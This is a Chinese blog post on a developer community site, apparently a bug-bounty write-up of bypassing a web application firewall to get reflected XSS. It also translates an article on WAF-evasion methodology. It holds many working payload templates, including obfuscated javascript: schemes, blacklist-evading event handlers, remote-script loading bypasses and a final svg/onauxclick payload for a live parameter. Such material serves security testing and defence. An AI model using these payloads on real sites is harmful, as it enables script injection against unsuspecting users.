首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >一次"艰难"的XSS Bypass之旅

一次"艰难"的XSS Bypass之旅

作者头像
C4rpeDime
发布2020-01-20 15:01:06
1.6K0
发布2020-01-20 15:01:06
举报
文章被收录于专栏:黑白安全黑白安全

前言

这绝对是我玩过的最乏味的一次XSS。 我使用Burp进行枚举,用高级选项来控制测试范围。

一次"艰难"的XSS Bypass之旅
一次"艰难"的XSS Bypass之旅

然后我一个接一个的浏览应用程序,特别是要寻找可能有反射型的参数。我还使用了Burp的 Actively scan defined insertion points功能去扫描url参数。

一次"艰难"的XSS Bypass之旅
一次"艰难"的XSS Bypass之旅

继续Fuzz

枚举api

通过https://github.com/GerbenJavado/LinkFinder去枚举所有的接口,尝试发现其他的url。 最后这个工具会通过html的方式得出所有的api

一次"艰难"的XSS Bypass之旅
一次"艰难"的XSS Bypass之旅

最终导致这个接口容易受到XSS的攻击。 起初我检查了反射型。

从下图中可以看出,TEST值正在被反射出来。 进一步的测试表明,大多数参数都可以反射出来。

一次"艰难"的XSS Bypass之旅
一次"艰难"的XSS Bypass之旅

构造XSS Payload

然后我闭合value并尝试了几次注射,其中没有任何效果。 花了几个小时,全部被阻止。 我尝试了几种不同的标签和填充字符。 让我们看一个非常常见的XSS设计。

{TAG}{EVENT}={PAYLOAD}

这有一篇不错的文章。 https://0x00sec.org/t/fun-bypass-xss-detection-waf/12228

顺带一起翻译 =====我是分割线===== =====我是分割线===== =====我是分割线=====

Bypass The Xss Waf

本文重点介绍怎么去绕过XSS的WAF 主要内容:

  • 确定payload结构:确定给定上下文的各种payload结构可提供最佳的测试方法。
  • 探测:探测,涉及针对目标的安全机制测试各种字符串。
  • 混淆:如果需要,混淆/调整payload。

返回的响应包将帮助我们分析有关所用解决方案的是否成立。

XSS介绍

跨站点脚本攻击是一种注入类型。 https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

HTML

内部标签:

<input type="text" value="$input">

外部标签:

<span>You entered $input</span>

外部标签:用于启动HTML标签的主要字符

根据HTML规范,标签名称必须以字母开头。 该信息可用于确定正则表达式与标签名称的匹配度。

<dEv - If fails, <[a-zA-Z]+ 
<d3V - If fails, <[a-zA-Z0-9]+ 
<d|3v - If fails, <.+
<svg - If passes, no tag checking is in place
<dev - If fails,<[a-z]+
x<dev - If passes,^<[a-z]+

没有任何安全机制允许,几乎不可能绕过,但是由于高误报,这种过滤规则不是最优选。

如果不阻止,则会创建一个payload方案 - >新的payload。

1

<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}

找到合适的{tag}后 ->使用正则表达式来匹配标签和事件处理程序之间的填充。

<tag%0axxx - if fails, [\s\n]+
<tag%0dxxx> - If fails, [\s\n\r+]+
<tag/~/xxx - If fails, .+
<tag xxx - If fails, {space}
<tag%09xxx - if fails, [\s]
<tag%09%09xxx - if fails, \s+
<tag/xxx - If fails, [\s/]+

事件处理是payload结构中最重要的部分之一,通常它会与常规正则表达式结合使用。

on\w+
or blacklist

on(load|click|error|show)

第一个正则表达式是限制很大的,不能绕过,而黑名单通常使用鲜为人知的事件处理程序绕过,这些事件处理程序可能不在黑名单中。

<tag{filler}onxxx - If fails, on\w+. If passes, on(load|click|error|show)
<tag{filler}onclick - If passes, no event handler checking regular expression is in place

如果正则是on\w+,那么无法绕过。

但是如果正则是黑名单模式,就继续寻找下一个payload:

onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

在安全机制阻止<tag{filler}{event_handler}=d3v>时,测试填充点。

要执行的下一个JavaScript组件。 这是payload的一部分,但不需要fuzz它的正则,因为JavaScript代码是任意的,因此无法匹配预定义的模式。

=>现在指出,payload的所有组件都放在一起,只需要闭合payload

<payload%0a 
<payload%0d 
<payload%09
<payload>
<payload
<payload{space}
<payload//

HTML的规范允许:

<tag{white space}{anything here}>

Example

<a href='http://example.com' any text can be placed here as long as there's a greater-than sign somewhere later in the HTML document>

已验证。HTML标签的属性可帮助攻击者通过以上述方式注入HTML标签。 2

<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

测试类似于以前的payload方案。 That? 就可以在URL的末尾使用(如果URL后面没有使用填充字符),而不是结束标记。

字符规则是什么? 它将被视为URL的一部分,直到遇到>才结束。 使用<script>标记,可以检测大多数安全规则。

可以使用相同的payload方案创建<object>标签:

<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

3 两种变体:

Plain
Obfuscatable

一个简单的匹配模式。

href[\s]{0,}=[\s]{0,}javascript:.

它的结构:

<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}

混淆

<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}

不同之处就是{special} 和{quote}. {special}参考混淆版本:

j%0aAv%0dasCr%09ipt:
J%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0aT%0a:
J%0aa%0dv%09a%0as%0dc%09r%0ai%0dp%09T%0d%0a:

在某些情况下,数字字符编码也可用于逃避检测。 可以使用十进制和十六进制。

&#74;avascript&colon;
jav&#x61;&#115;cript:

两种技术结合:

&#74;ava%0a%0d%09script&colon;

Exe and Non

根据是否可以在没有任何特殊帮助的情况下执行注入的payload,可以分为exe和no-exe。 当输入的payload出现在HTML注释中时,会发生no-exe

<--$input--> 或者

<style>
<title>
<noembed>
<template>
<noscript>
<textarea>

必须闭合这些标签才能执行有效负载。 exe和no-exe之间的唯一区别是对{closing tag}组件的测试。

</tag>
</tAg/x>
</tag{space}>
</tag//>
</tag%0a>
</tag%0d>
</tag%09>

如果找到了可行的方案。

{closing tag}{any payload from executable payload section}

=>成功注入

内部标签

<input value="$input" type="text"> 主要字符" 在某些情况下,不需要突破。

事件

<script src="$input"> 恶意脚本/网络钓鱼 etc 可以直接加载 <script src="http://domain.com/malicious.js">

bypass

//example.com/xss.js bypasses http(?s)://
////////example.com/xss.js bypasses (?:http(?s):?)?//
/\///\\/example.com/xss.js bypasses (?:http(?s):?)?//+

srcdoc

<iframe srcdoc="$input">

html实体化

<iframe srcdoc="&lt;svg/onload=alert()&gt;">

Generic Attributes

<input type="text" value=""/onfocus="alert()$input">

我们根据相关标签的交互性有两个类别:

  • 交互
    • 交互的标签-clicking, hovering, focusing
    • {quote}{filler}{event_handler}{?filler}={?filler}{javascript}

使用以下方法阻止WAF检查:

x"y: 事件处理程序在这里起着重要作用,因为这是WAF可能检测到的唯一组件。 每个标签都支持一些事件处理程序,并由用户来搜索此类情况,但是有一些事件处理程序可以链接到任何标签:

onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
onclick
onauxclick
ondblclick
ondrag
ondragend
ondragenter
ondragexit
ondragleave
ondragover
ondragstart

如果输入的payload在无法在交互的标签内,则需要执行payload的标签。

{quote}>{any payload scheme from html context section}

JavaScript

String Variable

最常见的是字符串变量中的反射。 这很常见,因为开发人员通常会将用户的输入分配给变量,而不是直接使用它们:

var name = '$input';
{quote}{delimiter}{javascript}{delimiter}{quote}
单引号情况
yaml
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'
'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
{quote}{delimiter}{javascript}//
'<{javascript}//'
'|{javascript}//'
'^{javascript}//

BLOCKS

Example

 if (a > b){
 xnxx_func('');}}alert();if(true){('');
 }

if(true){是语法有效,('闭合剩下的。

payload结构取决于代码本身,这种不确定性使得waf难以检测(可以添加混淆)。

');%0a}%0d}%09alert();/*xnxx.com*/if(true){//xnxx.com%0a('
 </scRipT{?filler}>{html xnxx.com}

也可以分解执行payload,但很容易检测到。

Finally, testing in process hunter bug.
Name: ModSecurity 7
Name: Wordfence 3
Name: Cloudflare 10
Name: Akamai
Name: Comodo
Name: F5

我还不能公开提供许多其他防火墙提供商。

对不起,我无法提供有效载荷POC。

======== 回到主题

您可以在中间添加一些字符以逃避WAF的黑/白名单。 我尝试过的一些标签:

script
img
a
body
script 
html
meta
xml
object 
etc.. etc..

好像没啥用。 几个小时后,我可以添加的唯一执行成功率很高的是svg和image标签。 WAF明显阻止img,但是图像没有被阻止。 我至少可以将图像注入到网站中,但是,由于表单的onload事件,它立即就被重定向。

一次"艰难"的XSS Bypass之旅
一次"艰难"的XSS Bypass之旅

然后我继续玩svg标签。

EVENT

我现在正在努力寻找一个没有被阻止的事件。

events on(load|click|error|show) 似乎一切都被ban了。 在fuzz很久之后,我最终发现OnAuxClick事件没有被阻止。 要尝试的一些事件的列表。

onclick
ondblclick
onmousedown
onmousemove
onmouseover
onmouseout
onmouseup
onkeydown
onkeypress
onkeyup
onabort
onerror
onload
onresize
onscroll
onunload
onsubmit
onblur
onchange
onfocus
onreset
onselect
onMoveOn
onauxclick
oncontextmenu
onmouseleave
ontouchcancel

对于攻击而言,onauxclick并不像其他方法那样复杂或实用,但仍然有效。。

在TAG和EVENT未被阻止的情况下,我继续查找要执行的一些payload。

Payload

我没有介绍什么是可执行文件,但我最好的选择是直接从Alert,Prompt命令运行可执行文件。 一些payload的例子:

write(1)
confirm(1)
alert(1)
prompt(1)
Simple variation if () is blocked. Pay Attention now `` is just as effective.
write`1`
confirm`1`
alert`1`
prompt`1`

最终我使用``而不是传统方法的()使payload成功执行。

gridview=%27&’/>%20<svg/onauxClick%3D”alert`HackerOne`”</svg>=’&asd
一次"艰难"的XSS Bypass之旅
一次"艰难"的XSS Bypass之旅
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2019-05-245,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 枚举api
  • 构造XSS Payload
  • Bypass The Xss Waf
    • XSS介绍
      • HTML
        • Exe and Non
          • 内部标签
            • 事件
              • srcdoc
                • Generic Attributes
                  • JavaScript
                    • String Variable
                  • BLOCKS
                  • EVENT
                  • Payload
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档